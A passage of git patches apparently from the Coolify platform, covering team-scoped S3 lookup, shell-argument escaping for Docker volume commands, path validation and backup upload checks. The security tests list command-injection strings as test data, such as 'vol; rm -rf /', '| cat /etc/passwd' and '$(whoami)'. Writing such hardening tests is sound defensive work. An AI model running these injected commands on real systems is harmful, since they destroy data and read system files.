'app-uuid:commit1'], From 5019c8db928afd34c0c9d17c5d20019fa053c344 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 19 Apr 2026 15:26:47 +0200 Subject: [PATCH 043/329] fix(api): use explicit team ID for S3 storage lookup in backup endpoints Replace `ownedByCurrentTeam()` (session-based) with `ownedByCurrentTeamAPI($teamId)` (explicit team ID) when resolving S3 storage in create_backup and update_backup. Session-based team resolution is unreliable in API context where auth is token-based. Add `S3Storage::ownedByCurrentTeamAPI(int $teamId)` scope and update feature tests to use real model instances instead of Mockery mocks. --- .../Controllers/Api/DatabasesController.php | 8 +- app/Models/S3Storage.php | 7 + .../Feature/DatabaseBackupCreationApiTest.php | 208 ++++++++++++------ 3 files changed, 146 insertions(+), 77 deletions(-) diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index f3783696d..8241e5fba 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -747,7 +747,7 @@ public function create_backup(Request $request) } if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists(); + $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); if (! $existsInTeam) { return response()->json([ 'message' => 'Validation failed.', @@ -774,7 +774,7 @@ public function create_backup(Request $request) // Convert s3_storage_uuid to s3_storage_id if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first(); + $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); if ($s3Storage) { $backupData['s3_storage_id'] = $s3Storage->id; } elseif ($request->boolean('save_s3')) { @@ -982,7 +982,7 @@ public function update_backup(Request $request) ], 422); } if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists(); + $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); if (! $existsInTeam) { return response()->json([ 'message' => 'Validation failed.', @@ -1015,7 +1015,7 @@ public function update_backup(Request $request) // Convert s3_storage_uuid to s3_storage_id if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first(); + $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); if ($s3Storage) { $backupData['s3_storage_id'] = $s3Storage->id; } elseif ($request->boolean('save_s3')) { diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index d6feccc7e..e02e07a4e 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -66,6 +66,13 @@ public static function ownedByCurrentTeam(array $select = ['*']) return S3Storage::whereTeamId(currentTeam()->id)->select($selectArray->all())->orderBy('name'); } + public static function ownedByCurrentTeamAPI(int $teamId, array $select = ['*']) + { + $selectArray = collect($select)->concat(['id']); + + return S3Storage::whereTeamId($teamId)->select($selectArray->all())->orderBy('name'); + } + public function isUsable() { return $this->is_usable; diff --git a/tests/Feature/DatabaseBackupCreationApiTest.php b/tests/Feature/DatabaseBackupCreationApiTest.php index 893141de3..4588cf9de 100644 --- a/tests/Feature/DatabaseBackupCreationApiTest.php +++ b/tests/Feature/DatabaseBackupCreationApiTest.php @@ -1,5 +1,12 @@ 0]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); - // Create an API token for the user - $this->token = $this->user->createToken('test-token', ['*'], $this->team->id); + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); $this->bearerToken = $this->token->plainTextToken; - // Mock a database - we'll use Mockery to avoid needing actual database setup - $this->database = \Mockery::mock(StandalonePostgresql::class); - $this->database->shouldReceive('getAttribute')->with('id')->andReturn(1); - $this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid'); - $this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb'); - $this->database->shouldReceive('type')->andReturn('standalone-postgresql'); - $this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql'); -}); + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); -afterEach(function () { - \Mockery::close(); + $this->database = StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'testdb', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->s3Storage = S3Storage::create([ + 'name' => 'test-s3', + 'region' => 'us-east-1', + 'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $this->team->id, + 'is_usable' => true, + ]); }); describe('POST /api/v1/databases/{uuid}/backups', function () { - test('creates backup configuration with minimal required fields', function () { - // This is a unit-style test using mocks to avoid database dependency - // For full integration testing, this should be run inside Docker + test('creates backup with s3 storage via API token', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => '0 2 * * 0', + 'save_s3' => true, + 's3_storage_uuid' => $this->s3Storage->uuid, + 'enabled' => true, + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid', 'message']); + + $backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first(); + expect($backup)->not->toBeNull(); + expect($backup->s3_storage_id)->toBe($this->s3Storage->id); + expect($backup->save_s3)->toBeTrue(); + expect($backup->team_id)->toBe($this->team->id); + }); + + test('creates backup without s3 storage', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => 'daily', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid', 'message']); + }); + + test('rejects s3_storage_uuid from another team', function () { + $otherTeam = Team::factory()->create(); + $otherS3 = S3Storage::create([ + 'name' => 'other-s3', + 'region' => 'us-east-1', + 'key' => 'other-key', + 'secret' => 'other-secret', + 'bucket' => 'other-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $otherTeam->id, + 'is_usable' => true, + ]); $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => 'daily', + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ + 'frequency' => '0 2 * * 0', + 'save_s3' => true, + 's3_storage_uuid' => $otherS3->uuid, ]); - // Since we're mocking, this test verifies the endpoint exists and basic validation - // Full integration tests should be run in Docker environment - expect($response->status())->toBeIn([201, 404, 422]); + $response->assertStatus(422); + $response->assertJsonValidationErrors(['s3_storage_uuid']); }); test('validates frequency is required', function () { $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ 'enabled' => true, ]); @@ -63,83 +130,78 @@ $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + ])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ 'frequency' => 'daily', 'save_s3' => true, ]); - // Should fail validation because s3_storage_uuid is missing - expect($response->status())->toBeIn([404, 422]); - }); - - test('rejects invalid frequency format', function () { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => 'invalid-frequency', - ]); - - expect($response->status())->toBeIn([404, 422]); + $response->assertStatus(422); + $response->assertJsonValidationErrors(['s3_storage_uuid']); }); test('rejects request without authentication', function () { - $response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [ + $response = $this->postJson("/api/v1/databases/{$this->database->uuid}/backups", [ 'frequency' => 'daily', ]); $response->assertStatus(401); }); +}); - test('validates retention fields are integers with minimum 0', function () { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ +describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', function () { + test('updates backup to use s3 storage via API token', function () { + $backup = ScheduledDatabaseBackup::create([ 'frequency' => 'daily', - 'database_backup_retention_amount_locally' => -1, + 'enabled' => true, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, ]); - expect($response->status())->toBeIn([404, 422]); - }); - - test('accepts valid cron expressions', function () { $response = $this->withHeaders([ 'Authorization' => 'Bearer '.$this->bearerToken, 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => '0 2 * * *', // Daily at 2 AM + ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 'save_s3' => true, + 's3_storage_uuid' => $this->s3Storage->uuid, ]); - // Will fail with 404 because database doesn't exist, but validates the request format - expect($response->status())->toBeIn([201, 404, 422]); + $response->assertStatus(200); + $backup->refresh(); + expect($backup->s3_storage_id)->toBe($this->s3Storage->id); + expect($backup->save_s3)->toBeTrue(); }); - test('accepts predefined frequency values', function () { - $frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly']; + test('rejects s3_storage_uuid from another team on update', function () { + $otherTeam = Team::factory()->create(); + $otherS3 = S3Storage::create([ + 'name' => 'other-s3', + 'region' => 'us-east-1', + 'key' => 'other-key', + 'secret' => 'other-secret', + 'bucket' => 'other-bucket', + 'endpoint' => 'https://s3.example.com', + 'team_id' => $otherTeam->id, + 'is_usable' => true, + ]); - foreach ($frequencies as $frequency) { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ - 'frequency' => $frequency, - ]); - - // Will fail with 404 because database doesn't exist, but validates the request format - expect($response->status())->toBeIn([201, 404, 422]); - } - }); - - test('rejects extra fields not in allowed list', function () { - $response = $this->withHeaders([ - 'Authorization' => 'Bearer '.$this->bearerToken, - 'Content-Type' => 'application/json', - ])->postJson('/api/v1/databases/test-db-uuid/backups', [ + $backup = ScheduledDatabaseBackup::create([ 'frequency' => 'daily', - 'invalid_field' => 'invalid_value', + 'enabled' => true, + 'database_id' => $this->database->id, + 'database_type' => $this->database->getMorphClass(), + 'team_id' => $this->team->id, ]); - expect($response->status())->toBeIn([404, 422]); + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [ + 'save_s3' => true, + 's3_storage_uuid' => $otherS3->uuid, + ]); + + $response->assertStatus(422); + $response->assertJsonValidationErrors(['s3_storage_uuid']); }); }); From 950c4e5936c9e5cd179bc913047940bf0825ceaa Mon Sep 17 00:00:00 2001 From: Mohmmad Qunibi <82610649+MohmmadQunibi@users.noreply.github.com> Date: Mon, 20 Apr 2026 12:17:08 +0300 Subject: [PATCH 044/329] Update EMQX image to use 'latest' tag --- templates/compose/emqx-enterprise.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/emqx-enterprise.yaml b/templates/compose/emqx-enterprise.yaml index 0f62c1983..e68c894bf 100644 --- a/templates/compose/emqx-enterprise.yaml +++ b/templates/compose/emqx-enterprise.yaml @@ -7,7 +7,7 @@ services: emqx: - image: emqx/emqx-enterprise:6.2.0 + image: emqx/emqx-enterprise:latest environment: - SERVICE_URL_EMQX_18083 - EMQX_DASHBOARD__DEFAULT_PASSWORD=${SERVICE_PASSWORD_EMQX} From 410a9a6195a2b939d4a429f6c464ff56e61177f8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 11:27:10 +0200 Subject: [PATCH 045/329] refactor(volumes): validate input and escape shell args Tighten validation on volume name and host path inputs across Livewire + API storage endpoints and escape shell arguments in volume clone and compose preview cleanup paths. --- .../Api/ApplicationsController.php | 4 +- .../Controllers/Api/DatabasesController.php | 4 +- .../Controllers/Api/ServicesController.php | 4 +- app/Jobs/VolumeCloneJob.php | 29 ++++--- app/Livewire/Project/Service/Storage.php | 8 +- app/Livewire/Project/Shared/Storages/Show.php | 29 +++++-- app/Models/ApplicationPreview.php | 14 ++- tests/Unit/PersistentVolumeSecurityTest.php | 85 +++++++++++++++++++ 8 files changed, 148 insertions(+), 29 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index cc7c0dbbe..eb2e7fc53 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -4121,7 +4121,7 @@ public function update_storage(Request $request): JsonResponse 'is_preview_suffix_enabled' => 'boolean', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', ]); @@ -4299,7 +4299,7 @@ public function create_storage(Request $request): JsonResponse 'type' => 'required|string|in:persistent,file', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', 'is_directory' => 'boolean', 'fs_path' => 'string', diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 8241e5fba..3067d98e7 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -3496,7 +3496,7 @@ public function create_storage(Request $request): JsonResponse 'type' => 'required|string|in:persistent,file', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', 'is_directory' => 'boolean', 'fs_path' => 'string', @@ -3694,7 +3694,7 @@ public function update_storage(Request $request): JsonResponse 'is_preview_suffix_enabled' => 'boolean', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', ]); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 23ba30998..20560635e 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -2018,7 +2018,7 @@ public function create_storage(Request $request): JsonResponse 'resource_uuid' => 'required|string', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', 'is_directory' => 'boolean', 'fs_path' => 'string', @@ -2227,7 +2227,7 @@ public function update_storage(Request $request): JsonResponse 'is_preview_suffix_enabled' => 'boolean', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', ]); diff --git a/app/Jobs/VolumeCloneJob.php b/app/Jobs/VolumeCloneJob.php index f37a9704e..060ec3ac6 100644 --- a/app/Jobs/VolumeCloneJob.php +++ b/app/Jobs/VolumeCloneJob.php @@ -43,27 +43,34 @@ public function handle() protected function cloneLocalVolume() { + $srcVol = escapeshellarg($this->sourceVolume); + $tgtVol = escapeshellarg($this->targetVolume); + instant_remote_process([ - "docker volume create $this->targetVolume", - "docker run --rm -v $this->sourceVolume:/source -v $this->targetVolume:/target alpine sh -c 'cp -a /source/. /target/ && chown -R 1000:1000 /target'", + "docker volume create {$tgtVol}", + "docker run --rm -v {$srcVol}:/source -v {$tgtVol}:/target alpine sh -c 'cp -a /source/. /target/ && chown -R 1000:1000 /target'", ], $this->sourceServer); } protected function cloneRemoteVolume() { + $srcVol = escapeshellarg($this->sourceVolume); + $tgtVol = escapeshellarg($this->targetVolume); $sourceCloneDir = "{$this->cloneDir}/{$this->sourceVolume}"; $targetCloneDir = "{$this->cloneDir}/{$this->targetVolume}"; + $srcDir = escapeshellarg($sourceCloneDir); + $tgtDir = escapeshellarg($targetCloneDir); try { instant_remote_process([ - "mkdir -p $sourceCloneDir", - "chmod 777 $sourceCloneDir", - "docker run --rm -v $this->sourceVolume:/source -v $sourceCloneDir:/clone alpine sh -c 'cd /source && tar czf /clone/volume-data.tar.gz .'", + "mkdir -p {$srcDir}", + "chmod 777 {$srcDir}", + "docker run --rm -v {$srcVol}:/source -v {$srcDir}:/clone alpine sh -c 'cd /source && tar czf /clone/volume-data.tar.gz .'", ], $this->sourceServer); instant_remote_process([ - "mkdir -p $targetCloneDir", - "chmod 777 $targetCloneDir", + "mkdir -p {$tgtDir}", + "chmod 777 {$tgtDir}", ], $this->targetServer); instant_scp( @@ -74,8 +81,8 @@ protected function cloneRemoteVolume() ); instant_remote_process([ - "docker volume create $this->targetVolume", - "docker run --rm -v $this->targetVolume:/target -v $targetCloneDir:/clone alpine sh -c 'cd /target && tar xzf /clone/volume-data.tar.gz && chown -R 1000:1000 /target'", + "docker volume create {$tgtVol}", + "docker run --rm -v {$tgtVol}:/target -v {$tgtDir}:/clone alpine sh -c 'cd /target && tar xzf /clone/volume-data.tar.gz && chown -R 1000:1000 /target'", ], $this->targetServer); } catch (\Exception $e) { @@ -84,7 +91,7 @@ protected function cloneRemoteVolume() } finally { try { instant_remote_process([ - "rm -rf $sourceCloneDir", + "rm -rf {$srcDir}", ], $this->sourceServer, false); } catch (\Exception $e) { \Log::warning('Failed to clean up source server clone directory: '.$e->getMessage()); @@ -93,7 +100,7 @@ protected function cloneRemoteVolume() try { if ($this->targetServer) { instant_remote_process([ - "rm -rf $targetCloneDir", + "rm -rf {$tgtDir}", ], $this->targetServer, false); } } catch (\Exception $e) { diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index 433c2b13c..6f43662d5 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -106,8 +106,12 @@ public function submitPersistentVolume() $this->validate([ 'name' => ValidationPatterns::volumeNameRules(), 'mount_path' => 'required|string', - 'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable', - ], ValidationPatterns::volumeNameMessages()); + 'host_path' => $this->isSwarm + ? ['required', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN] + : ['nullable', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], + ], array_merge(ValidationPatterns::volumeNameMessages(), [ + 'host_path.regex' => 'Host path must start with / and only contain safe path characters.', + ])); $name = $this->resource->uuid.'-'.$this->name; diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index eee5a0776..2aaca5e6f 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -3,6 +3,7 @@ namespace App\Livewire\Project\Shared\Storages; use App\Models\LocalPersistentVolume; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -31,19 +32,33 @@ class Show extends Component public bool $isPreviewSuffixEnabled = true; - protected $rules = [ - 'name' => 'required|string', - 'mountPath' => 'required|string', - 'hostPath' => 'string|nullable', - 'isPreviewSuffixEnabled' => 'required|boolean', - ]; - protected $validationAttributes = [ 'name' => 'name', 'mountPath' => 'mount', 'hostPath' => 'host', ]; + protected function rules(): array + { + return [ + 'name' => ValidationPatterns::volumeNameRules(), + 'mountPath' => ['required', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], + 'hostPath' => ['nullable', 'string', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], + 'isPreviewSuffixEnabled' => 'required|boolean', + ]; + } + + protected function messages(): array + { + return array_merge( + ValidationPatterns::volumeNameMessages(), + [ + 'mountPath.regex' => 'Mount path must start with / and only contain safe path characters.', + 'hostPath.regex' => 'Host path must start with / and only contain safe path characters.', + ] + ); + } + /** * Sync data between component properties and model * diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index f08a48cea..9159fd0d8 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Support\ValidationPatterns; use Illuminate\Database\Eloquent\SoftDeletes; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; @@ -42,11 +43,18 @@ protected static function booted() $networkKeys = collect($networks)->keys(); $volumeKeys = collect($volumes)->keys(); $volumeKeys->each(function ($key) use ($server) { - instant_remote_process(["docker volume rm -f $key"], $server, false); + if (! preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $key)) { + return; + } + instant_remote_process(['docker volume rm -f '.escapeshellarg($key)], $server, false); }); $networkKeys->each(function ($key) use ($server) { - instant_remote_process(["docker network disconnect $key coolify-proxy"], $server, false); - instant_remote_process(["docker network rm $key"], $server, false); + if (! preg_match(ValidationPatterns::DOCKER_NETWORK_PATTERN, $key)) { + return; + } + $k = escapeshellarg($key); + instant_remote_process(["docker network disconnect {$k} coolify-proxy"], $server, false); + instant_remote_process(["docker network rm {$k}"], $server, false); }); } else { // Regular application volume cleanup diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php index fdce223d3..287045534 100644 --- a/tests/Unit/PersistentVolumeSecurityTest.php +++ b/tests/Unit/PersistentVolumeSecurityTest.php @@ -96,3 +96,88 @@ expect($messages)->toHaveKey('volume_name.regex'); }); + +// --- escapeshellarg Defense Tests for docker volume create --- + +it('escapeshellarg neutralizes injection in docker volume create command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker volume create {$escaped}"; + + expect($command)->toStartWith('docker volume create ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'vol; rm -rf /', + 'pipe' => 'vol | cat /etc/passwd', + 'ampersand' => 'vol && whoami', + 'backtick' => 'vol`id`', + 'command substitution' => 'vol$(whoami)', +]); + +// --- escapeshellarg Defense Tests for docker run -v --- + +it('escapeshellarg neutralizes injection in docker run -v command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker run --rm -v {$escaped}:/source -v {$escaped}:/target alpine sh -c 'cp -a /source/. /target/'"; + + expect($command)->toContain('docker run --rm -v ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'vol; rm -rf /', + 'pipe' => 'vol | cat /etc/passwd', + 'command substitution' => 'vol$(whoami)', +]); + +// --- escapeshellarg Defense Tests for docker network commands --- + +it('escapeshellarg neutralizes injection in docker network disconnect command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker network disconnect {$escaped} coolify-proxy"; + + expect($command)->toStartWith('docker network disconnect ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'net; rm -rf /', + 'pipe' => 'net | cat /etc/passwd', + 'command substitution' => 'net$(whoami)', +]); + +it('escapeshellarg neutralizes injection in docker network rm command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker network rm {$escaped}"; + + expect($command)->toStartWith('docker network rm ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'net; rm -rf /', + 'pipe' => 'net | cat /etc/passwd', + 'command substitution' => 'net$(whoami)', +]); + +// --- DIRECTORY_PATH_PATTERN Tests --- + +it('accepts valid directory paths', function (string $path) { + expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(1); +})->with([ + 'root' => '/', + 'simple path' => '/data', + 'nested path' => '/data/coolify/volumes', + 'with dots' => '/data/my.app/storage', + 'with hyphens' => '/data/my-app/storage', + 'with underscores' => '/data/my_app/storage', +]); + +it('rejects directory paths with shell metacharacters', function (string $path) { + expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(0); +})->with([ + 'semicolon injection' => '/etc; rm -rf /', + 'pipe injection' => '/etc | cat /etc/passwd', + 'command substitution' => '/etc$(whoami)', + 'backtick injection' => '/etc`id`', + 'space injection' => '/etc /tmp', + 'relative traversal' => '../../../etc/passwd', + 'no leading slash' => 'etc/passwd', +]); From af0a8badb3cd9f470cb55c5f714263f63425d40b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 11:45:00 +0200 Subject: [PATCH 046/329] refactor(backup): validate database backup upload file type and size Add allowlist of backup file extensions (sql, sql.gz, tar, tgz, zip, dump, bak, bson, archive, bz2, xz, and compound variants) and enforce a 10 GiB maximum file size on the backup upload endpoint. Validation runs early on each chunk using the dropzone metadata and again on the assembled file. Also drops the unused createFilename helper and the commented-out S3 block. Co-Authored-By: Claude Opus 4.7 --- app/Http/Controllers/UploadController.php | 94 ++++++++++++++----- .../DatabaseBackupUploadValidationTest.php | 62 ++++++++++++ 2 files changed, 131 insertions(+), 25 deletions(-) create mode 100644 tests/Feature/DatabaseBackupUploadValidationTest.php diff --git a/app/Http/Controllers/UploadController.php b/app/Http/Controllers/UploadController.php index 93847589a..96fbd7193 100644 --- a/app/Http/Controllers/UploadController.php +++ b/app/Http/Controllers/UploadController.php @@ -11,6 +11,26 @@ class UploadController extends BaseController { + private const MAX_BYTES = 10 * 1024 * 1024 * 1024; // 10 GiB + + private const ALLOWED_EXTENSIONS = [ + 'sql', + 'sql.gz', + 'gz', + 'zip', + 'tar', + 'tar.gz', + 'tgz', + 'dump', + 'bak', + 'bson', + 'bson.gz', + 'archive', + 'archive.gz', + 'bz2', + 'xz', + ]; + public function upload(Request $request) { $databaseIdentifier = request()->route('databaseUuid'); @@ -18,6 +38,22 @@ public function upload(Request $request) if (is_null($resource)) { return response()->json(['error' => 'You do not have permission for this database'], 500); } + + $chunk = $request->file('file'); + $originalName = $chunk instanceof UploadedFile ? $chunk->getClientOriginalName() : null; + if (blank($originalName) || ! self::hasAllowedExtension($originalName)) { + return response()->json([ + 'error' => 'Unsupported file type. Allowed extensions: '.implode(', ', self::ALLOWED_EXTENSIONS), + ], 422); + } + + $declaredTotalSize = (int) $request->input('dzTotalFilesize', 0); + if ($declaredTotalSize > self::MAX_BYTES) { + return response()->json([ + 'error' => 'File exceeds maximum allowed size of '.self::formatMaxSize().'.', + ], 422); + } + $receiver = new FileReceiver('file', $request, HandlerFactory::classFromRequest($request)); if ($receiver->isUploaded() === false) { @@ -40,29 +76,20 @@ public function upload(Request $request) 'status' => true, ]); } - // protected function saveFileToS3($file) - // { - // $fileName = $this->createFilename($file); - // $disk = Storage::disk('s3'); - // // It's better to use streaming Streaming (laravel 5.4+) - // $disk->putFileAs('photos', $file, $fileName); - - // // for older laravel - // // $disk->put($fileName, file_get_contents($file), 'public'); - // $mime = str_replace('/', '-', $file->getMimeType()); - - // // We need to delete the file when uploaded to s3 - // unlink($file->getPathname()); - - // return response()->json([ - // 'path' => $disk->url($fileName), - // 'name' => $fileName, - // 'mime_type' => $mime - // ]); - // } protected function saveFile(UploadedFile $file, string $resourceIdentifier) { + $originalName = $file->getClientOriginalName(); + $size = $file->getSize(); + + if (! self::hasAllowedExtension($originalName) || $size === false || $size > self::MAX_BYTES) { + @unlink($file->getPathname()); + + return response()->json([ + 'error' => 'Uploaded file failed validation.', + ], 422); + } + $mime = str_replace('/', '-', $file->getMimeType()); $filePath = "upload/{$resourceIdentifier}"; $finalPath = storage_path('app/'.$filePath); @@ -73,13 +100,30 @@ protected function saveFile(UploadedFile $file, string $resourceIdentifier) ]); } - protected function createFilename(UploadedFile $file) + private static function hasAllowedExtension(string $name): bool { - $extension = $file->getClientOriginalExtension(); - $filename = str_replace('.'.$extension, '', $file->getClientOriginalName()); // Filename without extension + $lower = strtolower($name); + $suffixes = array_map(fn ($ext) => '.'.$ext, self::ALLOWED_EXTENSIONS); + usort($suffixes, fn ($a, $b) => strlen($b) <=> strlen($a)); - $filename .= '_'.md5(time()).'.'.$extension; + foreach ($suffixes as $suffix) { + if (! str_ends_with($lower, $suffix)) { + continue; + } - return $filename; + 